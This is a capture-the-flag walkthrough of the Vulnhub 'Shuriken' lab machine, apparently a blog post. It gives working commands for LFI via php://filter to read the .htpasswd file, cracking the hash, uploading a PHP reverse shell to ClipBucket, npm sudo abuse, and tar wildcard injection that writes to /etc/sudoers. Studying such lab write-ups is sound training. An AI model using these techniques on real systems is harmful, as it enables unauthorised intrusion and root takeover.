Vulnhub : Shuriken Walkthrough

Target IP : 192.168.29.192

As usual I started with nmap scan using the command shown below to find open ports and services running in the target server.

nmap -sC -sV -Pn -p- -T4 --max-rate=1000 -o nmap.txt 192.168.29.192 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-05 23:58 IST
Nmap scan report for 192.168.29.192
Host is up (0.00021s latency).
Not shown: 65533 closed ports
PORT     STATE    SERVICE    VERSION
80/tcp   open     http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Shuriken
8080/tcp filtered http-proxy

The port 8080 is filtered so I started enumeration from port 80/HTTP and I found a website related to the Shuriken Company. In the navigation bar, I found Sign in page any tried some common credentials but that didn't work. Next I thought to go for directory brute force and found some useful directories.

┌──(artof㉿parrot)-[~]
└─$ gobuster dir -u 'http://192.168.29.192/' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt                             
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.29.192/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
Starting gobuster
===============================================================
/img (Status: 301)
/css (Status: 301)
/js (Status: 301)
/secret (Status: 301)
/server-status (Status: 403)
===============================================================
Finished

In the /secret directory, I found an image and tried some steganography tricks on that image but no luck. Next I thought to check  /js and I started to examine the /js/index__d8338055.js file and found that domain name is shuriken.local . So now I edited the /etc/hosts file, but after visiting http://shuriken.local, I found the same website.

Next thing I found in JS file was a GET  parameter referer, most probably this is LFI but payload http://shuriken.local/index.php?referer=../../../../../../../../../../../../../etc/passwd didn't work. Then I thought to try some other payloads and luckily this one worked:

php://filter/convert.base64-encode/resource=index.php

It was base64 encoded and decoding didn't provide any useful information, now I was confused exactly which file I need to read in order to get an initial shell. Next I thought to check for subdomains using the command show below:

wfuzz -H 'HOST: FUZZ.shuriken.local' -u 'http://192.168.29.192' -w ../subdomains-top1million-5000.txt --hw 466
.
.
.
===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                              
===================================================================

000000690:   400        12 L     53 W     427 Ch      "gc._msdcs"                                                                          
000001238:   401        14 L     54 W     471 Ch      "broadcast"    

I added both these subdomains in /etc/hosts file . Now after visiting broadcast.shuriken.local, I found that it is protected using HTTP basic authentication. I tried with some common credentials, but they didn't work. Next thought came in my mind was regarding LFI , if it is protected using HTTP basic authentication, then username/password must be stored in .htaccess or .htpasswd and that file name or location can be found in /etc/apache2/apache2.conf file. I thought I'd give it a try.

$ curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/apache2.conf
.
.
.
.
IyBUaGlzIGlzIHRoZSBtYWluIEFwYWNoZSBzZXJ2ZXIgY29uZmlndXJhdGlvbiBmaWxlLiAgSXQgY29udGFpbnMgdGhlCiMgY29uZmlndXJhdGlvbiBkaXJlY3RpdmVzIHRoYXQgZ2l2ZSB0aGUgc2VydmVyIGl0cyBpbnN0cnVjdGlvbnMuCiMgU2VlIGh0dHA6Ly9odHRwZC5hcGFjaGUub3JnL2RvY3MvMi40LyBmb3IgZGV0YWlsZWQgaW5mb3JtYXRpb24gYWJvdXQKIyB0aGUgZGlyZWN0aXZlcyBhbmQgL3Vzci9zaGFyZS9kb2MvYXBhY2hlMi9SRUFETUUuRGViaWFuIGFib3V0IERlYmlhbiBzcGVjaWZpYwojIGhpbnRzLgojCiMKIyBTdW1tYXJ5IG9mIGhvdyB0aGUgQXBhY2hlIDIgY29uZmlndXJhdGlvbiB3b3JrcyBpbiBEZWJpYW46CiMgVGhlIEFwYWNoZSAyIHdlYiBzZXJ2ZXIgY29uZmlndXJhdGlvbiBpbiBEZWJpYW4gaXMgcXVpdGUgZGlmZmVyZW50IHRvCiMgdXBzdHJlYW0ncyBzdWdnZXN0ZWQgd2F5IHRvIGNvbmZpZ3VyZSB0aGUgd2ViIHNlcnZlci4gVGhpcyBpcyBiZWNhdXNlIERlYmlhbidzCiMgZGVmYXVsdCBBcGFjaGUyIGluc3RhbGxhdGlvbiBhdHRlbXB0cyB0byBtYWtlIGFkZGluZyBhbmQgcmVtb3ZpbmcgbW9kdWxlcywKIyB2aXJ0dWFsIGhvc3RzLCBhbmQgZXh0cmEgY29uZmlndXJhdGlvbiBkaXJlY3RpdmVzIGFzIGZsZXhpYmxlIGFzIHBvc3NpYmxlLCBpbgojIG9yZGVyIHRvIG1ha2UgYXV0b21hdGluZyB0aGUgY2hhbmdlcyBhbmQgYWRtaW5pc3RlcmluZyB0aGUgc2VydmVyIGFzIGVhc3kgYXMKIyBwb3NzaWJsZS4KCiMgSXQgaXMgc3BsaXQgaW50byBzZXZlcmFsIGZpbGVzIGZvcm1pbmcgdGhlIGNvbmZpZ3VyYXRpb24gaGllcmFyY2h5IG91dGxp.
.
.
.

Again this is base64 encoded, decoding revealed some good information.

That's what I need! I tried to read the .htaccess file but it didn't work. Next I tried to read the .htpasswd file.

curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/.htpasswd
.
.
.
ZGV2ZWxvcGVyczokYXByMSRudE96MkVSRiRTZDZGVDhZVlRWYWxXakw3Ykp2MFAwCg==
.
.

This is again base64 encoded and after decoding this, I got the username and hashed password.

┌──(artof㉿parrot)-[~/Desktop/CTF/shuriken]
└─$ echo ZGV2ZWxvcGVyczokYXByMSRudE96MkVSRiRTZDZGVDhZVlRWYWxXakw3Ykp2MFAwCg== | base64 -d 
developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0

After cracking this hash using john I found the password.

sudo john --wordlist=../rockyou.txt hash    
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
9972761drmfsls   (?)

Now we can get access to broadcast.shuriken.local subdomain.

Now we have access to the subdomain and after some enumeration, I found that it is using clipbucket v4.0. I started to find exploits for this and found a number of exploits here , but we need to figure out which exploit will work and then we need to edit it accordingly.

I decided to go with file upload exploit and for that I copied a reverse shell in my local system with name a .php , directly using the payload and this will give an error. So we need to modify the command and after editing the payload I got a message.

curl -u developers:9972761drmfsls -F "file=@a.php" -F "plupload=1" -F "name=a.php" "http://broadcast.shuriken.local/actions/photo_uploader.php"

{"success":"yes","file_name":"1607206120c327b8","extension":"php","file_directory":"2020\/12\/05"}

Now by visiting the specified location, I can execute the php file and get a reverse shell.

┌──(artof㉿parrot)-[~/Desktop/CTF/shuriken]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.29.248] from (UNKNOWN) [192.168.29.192] 48220
Linux shuriken 5.4.0-47-generic #51~18.04.1-Ubuntu SMP Sat Sep 5 14:35:50 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 23:13:17 up  3:46,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Just after getting the low user shell I checked for user privileges and found this interesting permission.

www-data@shuriken:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on shuriken:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on shuriken:
    (server-management) NOPASSWD: /usr/bin/npm

You can read more about npm from here. We can run npm as user server-management and to get a shell of user server-management, I created a package.json file with scripts tag in it and inside the script tag I specified a build tag to run a bash script.

www-data@shuriken:/tmp$ cat package.json
cat package.json
{
"scripts":
	{
		"build":"bash /tmp/check.sh"
	}
}
.
.
.
www-data@shuriken:/tmp$ cat check.sh
cat check.sh
/bin/bash

Now we can run the bash script using the command shown below:

www-data@shuriken:/tmp$ sudo -u server-management /usr/bin/npm run-script build
sudo -u server-management /usr/bin/npm run-script build

> @ build /tmp
> bash /tmp/check.sh

server-management@shuriken:/tmp$ id
id
uid=1000(server-management) gid=1000(server-management)

Now we can read the flag in the home directory of user server-management. Now for root, I tried a lot of methods but they didn't work, next I used pspy64 to check for running processes and found something interesting.

I changed the directory to /var/opt/ and found that user server-management can only read this file and that was enough to get the root shell.

server-management@shuriken:/var/opt$ cat backupsrv.sh
cat backupsrv.sh
#!/bin/bash

# Where to backup to.
dest="/var/backups"

# What to backup. 
cd /home/server-management/Documents
backup_files="*"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
.
.
.

Well, after analysing the code carefully, I found that we can get root shell using wild card injection and for that I followed some steps.

server-management@shuriken:~$ **cd Documents**
cd Documents
server-management@shuriken:~/Documents$ **touch -- --checkpoint=1**
touch -- --checkpoint=1
server-management@shuriken:~/Documents$ **echo 'echo "server-management ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > demo.sh**
 NOPASSWD: ALL" >> /etc/sudoers' > demo.sh
server-management@shuriken:~/Documents$ **touch -- "--checkpoint-action=exec=sh demo.sh"**

Now whenever /var/opt/backupsrv.sh will run as root , user-management should get all the privileges.

server-management@shuriken:~/Documents$ sudo -l
sudo -l
Matching Defaults entries for server-management on shuriken:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User server-management may run the following commands on shuriken:
    (root) NOPASSWD: ALL

Now just execute the sudo su command and we are root! We can read our final flag present in the home directory.


cat root.txt

d0f9655a4454ac5
                                          __                   
  ____  ____   ____    ________________ _/  |_  ______         
_/ ___\/  _ \ /    \  / ___\_  __ \__  \\   __\/  ___/         
\  \__(  <_> )   |  \/ /_/  >  | \// __ \|  |  \___ \          
 \___  >____/|___|  /\___  /|__|  (____  /__| /____  >         
     \/           \//_____/            \/          \/          
                                            __             .___
 ___.__. ____  __ __  _______  ____   _____/  |_  ____   __| _/
<   |  |/  _ \|  |  \ \_  __ \/  _ \ /  _ \   __\/ __ \ / __ | 
 \___  (  <_> )  |  /  |  | \(  <_> |  <_> )  | \  ___// /_/ | 
 / ____|\____/|____/   |__|   \____/ \____/|__|  \___  >____ | 
 \/                                                  \/     \/ 
  _________.__                 .__ __                          
 /   _____/|  |__  __ _________|__|  | __ ____   ____          
 \_____  \ |  |  \|  |  \_  __ \  |  |/ // __ \ /    \         
 /        \|   Y  \  |  /|  | \/  |    <\  ___/|   |  \        
/_______  /|___|  /____/ |__|  |__|__|_ \\___  >___|  /        
        \/      \/                     \/    \/     \/   
        

This completed the challenge, I hope you like the walkthrough. If you have any queries, you can DM me on discord at cyberbot#1859.

NOTE: The awesome artwork used in this article was created by Dmitry Mòói.